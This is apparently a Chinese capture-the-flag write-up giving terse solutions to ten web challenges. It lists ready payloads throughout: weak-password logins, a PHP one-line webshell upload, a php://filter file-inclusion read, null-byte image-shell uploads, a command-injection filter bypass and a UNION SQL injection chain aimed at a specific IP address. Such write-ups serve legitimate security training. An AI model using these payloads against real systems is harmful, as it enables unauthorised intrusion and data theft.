文章涉及一系列网络安全问题，包括使用弱口令如admin123456，PHP代码执行漏洞，文件上传后门，如<?phpsystem(cat/tmp/flag);?>，以及SQL注入攻击，用于获取数据库中的flag信息。此外，还提到了制作图片马（1.png%00.php）以及通过后台管理上传恶意脚本的操作。
题目1
万能密码
题目2
弱口令 admin 123456登录后台，文件管理上传<?php system('cat /tmp/flag');?>
题目3
题目4
F12发现include.phpinclude.php?file=php://filter/read=convert.base64-encode/resource=include.php
查看文件源码，发现upload.php
上传图片马
include.php包含一下
题目5
?rce=ca\t%09/tmp/flag
题目6
查表名?id=-1 union select 1,2,group_concat(table_name)from(information_schema.tables)where(table_schema=database())
查flag表的列名?id=-1 union select 1,2,group_concat(column_name)from(information_schema.columns)where(table_schema=database())and(table_name='flag')
查flaghttp://122.114.225.41:20126/?id=-1%20union%20select%201,2,(flag)from(flag)
题目7
做个图片马，1.png%00.php
题目8
题目9
admin 123456登录后台 admin/upload.php上传一个一句话马
然后
上传图片管理那里右键查看路径
题目10
扫一扫
658
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
